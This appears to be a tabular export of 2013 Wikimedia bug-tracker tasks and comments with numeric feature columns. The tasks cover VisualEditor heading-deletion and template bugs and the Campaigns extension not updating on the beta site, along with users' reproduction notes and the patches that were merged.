254421,VisualEditor: VE eats away the end of </ref>}} templates,I can't now reproduce this - is it still occurring?,,,1375486975,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqhko7t4wfln3rpauqc5,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,1.0,I can't now reproduce this - is it still occurring?
52261,extension Campaigns (and some others?) not current,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version shows extension Campaigns not updated since 12 June, but should be current as of https://gerrit.wikimedia.org/r/#/c/69841/ at least.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372283340,1372349281.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-erpehiwtm4uj5znmo2et,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.026315789473684,0.7368421052631579,"URL shows extension Campaigns not updated since 12 June, but should be current as of URL at least.

--------------------------
**Version**: unspecified
**Severity**: normal"
253905,extension Campaigns (and some others?) not current,"(In reply to comment #4)
Yes. I made a trivial update to Campaigns, and after merging to master it was on http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version within minutes.",,,1372377246,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,23.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,6.0,23.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3225806451612905,0.9032258064516129,"(In reply to comment #4)
Yes. I made a trivial update to Campaigns, and after merging to master it was on URL within minutes."
253900,extension Campaigns (and some others?) not current,Well Campaigns is still broken right now.  I guess it will be up to date whenever a commit is merged in that repository,,,1372350405,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.0,12.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.88,0.96,Well Campaigns is still broken right now.  I guess it will be up to date whenever a commit is merged in that repository
253896,extension Campaigns (and some others?) not current,"A bunch of them were broken.

Fixed in https://gerrit.wikimedia.org/r/#/c/70834/.",,,1372349281,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,3.1818181818181817,1.0,"A bunch of them were broken.

Fixed in URL"
253892,extension Campaigns (and some others?) not current,And see bug 49846 mediawiki/extensions.git does not update VisualEditor,,,1372348373,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.7272727272727275,1.0,And see bug 49846 mediawiki/extensions.git does not update VisualEditor
253888,extension Campaigns (and some others?) not current,I guess it is misconfigured on Gerrit side (see bug 49906).,,,1372348270,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,I guess it is misconfigured on Gerrit side (see bug 49906).
52254,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"if an article starts with 
==Foo==
Bar Baz Fizz Buzz

It is impossible to remove ==Foo== without having the paragraph take on the h2 markup

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372276980,1380876577.0,PHID-USER-n27daagbl3wqf3ghr4nk,False,,False,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,18.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,10.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.78,0.66,"if an article starts with 
==Foo==
Bar Baz Fizz Buzz

It is impossible to remove ==Foo== without having the paragraph take on the h2 markup

--------------------------
**Version**: unspecified
**Severity**: normal"
253576,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"**Wikifram** wrote:

(ec) Yeah, I'm a bit frustrated by the number of errors in that status update, and the apparent lack of possibilities to correct these (even as an addendum or some such) and lack of care about this among the people responsible for this. Not your fault though. Thanks for filing that bug.",,,1380880306,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,13,,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.657142857142857,0.7571428571428571,"**Wikifram** wrote:

(ec) Yeah, I'm a bit frustrated by the number of errors in that status update, and the apparent lack of possibilities to correct these (even as an addendum or some such) and lack of care about this among the people responsible for this. Not your fault though. Thanks for filing that bug."
253573,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,Filed as bug 54964,,,1380880152,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Filed as bug 54964
253568,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Steady on, they're similar bugs and easy to confuse.

The case you describe at the end does sound like a separate bug.",,,1380879819,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6296296296296298,0.9629629629629629,"Steady on, they're similar bugs and easy to confuse.

The case you describe at the end does sound like a separate bug."
253563,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"**Wikifram** wrote:

(In reply to comment #10)
> You're confusing this with bug 50100.

Not my mistake though, this was reported like this in the VisualEditor weekly update - 2013-09-26 (MW 1.22wmf19) by Jdforrester:

""Blanking the contents of a heading, pre-formatted block or other formatting block now deletes the block rather than leaving it empty, which is consistent with how OpenOffice and Google Docs behave (bug 50254)."" 

I noted that what the VE status report describes is ''not'' fixed, and followed the link number given in the VE status report. If this bug is about something else than what the VE status report described, then this is just one more in the already long list of things wrong with that status report (for which it is apparently ""impossible"" to write an update or correction in any way, shape or form). 

Anyway, you still get the behaviour as described: Go to the first word you want to keep (after the initial header), and use backspace to remove the header: your next paragraph now becomes the header. Only when you first empty the header (leaving the line beneath it), and then go to the text and use backspace, is it possible to remove a starting header without converting the following text into a header. I wouldn't call this ""solved"", perhaps ""somewhat improved"" assuming that the latter possibility / workaround didn't work in the past. (I note that you only go to the start of the heading, and then select ""downwards"" instead of ""sideways""; deleting the header like this works as well)

Note also that if yu eventually get rid of that header, it seems to be impossible to remove a first empty line from an article: [https://en.wikipedia.org/w/index.php?title=User%3AFram%2Fsandbox&diff=575703425&oldid=575703070]. Probably needs a different bug (or already exists), but not really optimal either.",,,1380878361,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,13,,0.25,0.25,0.0,0.25,1.25,5.5,0.75,0.0,0.25,0.5,2.25,1.0,0.0,0.75,0.0,1.0,0.5,9.0,10.75,0.25,1.75,0.0,0.0,0.0,1.0,0.5,0.25,0.25,0.0,0.25,0.0,5.25,1.0,1.25,2.25,1.25,0.25,0.25,0.25,0.0,0.0,0.0,0.75,0.5,0.0,0.5,0.0,0.0,0.75,13.5,1.0,1.25,0.5,0.75,0.0,0.25,0.0,0.0,1.0,0.75,0.0,0.5,0.0,0.25,0.0,0.0,0.0,7.5,2.0,6.0,2.0,2.75,10.25,0.0,0.0,0.0,0.25,3.25,0.0,1.75,0.0,3.75,10.75,2.5,0.0,3.0,0.0,3.75,0.0,1.5,1.75,0.0,2.0,0.25,0.0,0.5,3.837920757363254,0.7134467040673211,"**Wikifram** wrote:

(In reply to comment #10)
QUOTE

Not my mistake though, this was reported like this in the VisualEditor weekly update - 2013-09-26 (MW 1.22wmf19) by Jdforrester:

""Blanking the contents of a heading, pre-formatted block or other formatting block now deletes the block rather than leaving it empty, which is consistent with how OpenOffice and Google Docs behave (bug 50254)."" 

I noted that what the VE status report describes is ''not'' fixed, and followed the link number given in the VE status report. If this bug is about something else than what the VE status report described, then this is just one more in the already long list of things wrong with that status report (for which it is apparently ""impossible"" to write an update or correction in any way, shape or form). 

Anyway, you still get the behaviour as described: Go to the first word you want to keep (after the initial header), and use backspace to remove the header: your next paragraph now becomes the header. Only when you first empty the header (leaving the line beneath it), and then go to the text and use backspace, is it possible to remove a starting header without converting the following text into a header. I wouldn't call this ""solved"", perhaps ""somewhat improved"" assuming that the latter possibility / workaround didn't work in the past. (I note that you only go to the start of the heading, and then select ""downwards"" instead of ""sideways""; deleting the header like this works as well)

Note also that if yu eventually get rid of that header, it seems to be impossible to remove a first empty line from an article: [URL Probably needs a different bug (or already exists), but not really optimal either."
253559,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,You're confusing this with bug 50100.,,,1380876577,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,1.0,You're confusing this with bug 50100.
253552,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"**Wikifram** wrote:

Nice that this is solved, except that it isn't. I had already noted that at MediaWiki, it still blanks the header (but doesn't add nowiki). Tested today at enwiki, and sadly, even worse, again a nowiki was added inside the header instead of removing the empty header: [https://en.wikipedia.org/w/index.php?title=Robbers_Cave_State_Park&diff=575691345&oldid=558376701]

Has this patch ever worked anywhere? Diff?",,,1380869071,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,10.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,10.0,9.0,3.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,3.5822784810126582,0.7088607594936709,"**Wikifram** wrote:

Nice that this is solved, except that it isn't. I had already noted that at MediaWiki, it still blanks the header (but doesn't add nowiki). Tested today at enwiki, and sadly, even worse, again a nowiki was added inside the header instead of removing the empty header: [URL

Has this patch ever worked anywhere? Diff?"
253548,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Change 85673 merged by jenkins-bot:
Delete empty nodes instead of merging into them

https://gerrit.wikimedia.org/r/85673",,,1380047332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,4.421052631578948,1.0,"Change 85673 merged by jenkins-bot:
Delete empty nodes instead of merging into them

GERRIT_URL"
253545,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,The delete-when-empty-merge-otherwise behaviour implemented by the patch above is also used by OO/LO & Google docs.,,,1379946372,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,15.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7037037037037037,0.8518518518518519,The delete-when-empty-merge-otherwise behaviour implemented by the patch above is also used by OO/LO & Google docs.
253541,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Change 85673 had a related patch set uploaded by Esanders:
Delete empty nodes instead of merging into them

https://gerrit.wikimedia.org/r/85673",,,1379946235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,4.636363636363637,1.0,"Change 85673 had a related patch set uploaded by Esanders:
Delete empty nodes instead of merging into them

GERRIT_URL"
253537,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,This is a separate issue to bug 51829 (now bug 50100).,,,1379946203,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.9285714285714286,This is a separate issue to bug 51829 (now bug 50100).
253533,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"It happens to me always, even if the heading is in the middle of the page.",,,1374826649,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,6.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.2777777777777777,0.8888888888888888,"It happens to me always, even if the heading is in the middle of the page."
253527,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"They definitely seem related, with the distinction that this but has the problem that there is no slug (am I using the lingo right) on the line above the first header if the header is the first element of the page. Merge however you feel is most useful.",,,1374524826,,PHID-USER-n27daagbl3wqf3ghr4nk,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,6.0,6.0,2.0,19.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.8867924528301887,0.7547169811320755,"They definitely seem related, with the distinction that this but has the problem that there is no slug (am I using the lingo right) on the line above the first header if the header is the first element of the page. Merge however you feel is most useful."
253522,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Actually, this bug looks to be a subset of Bug 51829 is this best merged or that bug better split?",,,1374518185,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,5.0,5.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,3.590909090909091,0.9090909090909091,"Actually, this bug looks to be a subset of Bug 51829 is this best merged or that bug better split?"
253517,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"As a workaround, it is possible to convert the header to paragraph text and then delete it. That is no better though than deleting and then converting the changed text back to a paragraph.",,,1374517963,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,3.0,0.0,0.0,4.1891891891891895,0.7027027027027027,"As a workaround, it is possible to convert the header to paragraph text and then delete it. That is no better though than deleting and then converting the changed text back to a paragraph."
52253,VisualEditor: Yet another dirty-DOM on basic templates,"Link shows a diff made post-deploy doing (what happened to be white-space only) normalisation in two templates (that weren't touched). :-(

--------------------------
**Version**: unspecified
**Severity**: minor
